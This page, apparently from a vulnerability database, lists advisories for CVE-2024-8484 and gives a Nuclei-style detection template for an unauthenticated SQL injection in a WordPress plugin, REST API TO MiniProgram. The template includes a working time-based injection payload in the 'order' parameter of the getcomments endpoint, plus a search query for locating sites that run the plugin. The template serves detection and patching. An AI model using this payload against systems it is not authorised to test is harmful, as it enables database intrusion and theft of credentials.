| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| Exploit for SQL Injection in Jianbo Rest_Api_To_Miniprogram | 24 Sep 202413:46 | – | githubexploit | |
| CVE-2024-8484 | 25 Sep 202405:57 | – | circl | |
| WordPress plugin REST API TO MiniProgram 安全漏洞 | 25 Sep 202400:00 | – | cnnvd | |
| CVE-2024-8484 | 25 Sep 202402:05 | – | cve | |
| CVE-2024-8484 REST API TO MiniProgram <= 4.7.1 - Unauthenticated SQL Injection | 25 Sep 202402:05 | – | cvelist | |
| CVE-2024-8484 | 25 Sep 202403:15 | – | nvd | |
| CVE-2024-8484 | 25 Sep 202403:15 | – | osv | |
| WordPress REST API TO MiniProgram Plugin <= 4.7.1 is vulnerable to SQL Injection | 24 Sep 202400:00 | – | patchstack | |
| WordPress REST API TO MiniProgram plugin <= 4.7.1 - Unauthenticated SQL Injection vulnerability | 24 Sep 202412:51 | – | patchstack | |
| PT-2024-39050 · WordPress · Rest Api To Miniprogram | 24 Sep 202400:00 | – | ptsecurity |
id: CVE-2024-8484
info:
name: REST API TO MiniProgram <= 4.7.1 - SQL Injection
author: s4e-io
severity: high
description: |
The REST API TO MiniProgram plugin for WordPress is vulnerable to SQL Injection via the 'order' parameter of the /wp-json/watch-life-net/v1/comment/getcomments REST API endpoint in all versions up to, and including, 4.7.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
impact: |
Unauthenticated attackers can exploit time-based SQL injection through the order parameter to extract sensitive database information, including user credentials, comments, and personal data from the WordPress database.
remediation: |
Update REST API TO MiniProgram plugin to a version later than 4.7.1 to address the SQL injection vulnerability in the order parameter of the getcomments REST API endpoint.
reference:
- https://github.com/RandomRobbieBF/CVE-2024-8484
- https://www.usom.gov.tr/bildirim/tr-24-1528
- https://plugins.trac.wordpress.org/browser/rest-api-to-miniprogram/tags/4.7.0/includes/api/ram-rest-comments-controller.php#L247
- https://www.wordfence.com/threat-intel/vulnerabilities/id/6e0945eb-ceec-4536-822a-fe864c21b580?source=cve
- https://nvd.nist.gov/vuln/detail/CVE-2024-8484
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2024-8484
cwe-id: CWE-89
epss-score: 0.03631
epss-percentile: 0.88109
metadata:
verified: true
max-request: 2
vendor: jianbo
product: rest-api-to-miniprogram
framework: wordpress
publicwww-query: "/wp-content/plugins/rest-api-to-miniprogram"
tags: time-based-sqli,cve,cve2024,wp,wp-plugin,wordpress,sqli,miniprogram,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body, "/wp-content/plugins/rest-api-to-miniprogram")'
- 'status_code == 200'
condition: and
internal: true
- raw:
- |
@timeout 20s
GET /wp-json/watch-life-net/v1/comment/getcomments?order=DESC,(SELECT(1)FROM(SELECT(SLEEP(6)))a)--&postid=3&limit=1&page=1&page=1 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'duration>=6'
- 'contains_all(body, "code","success","status")'
- 'contains(content_type,"application/json")'
- 'status_code == 200'
condition: and
# digest: 4b0a00483046022100edd49e9cc46092155e30db0c2e49a8fc96bf7f55bf017d494bc25cb27d1d7fc7022100ba0994f3a54febe065ab1a6c31fa6923dacac95c5f57ddd871ebf99665b90c6a:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation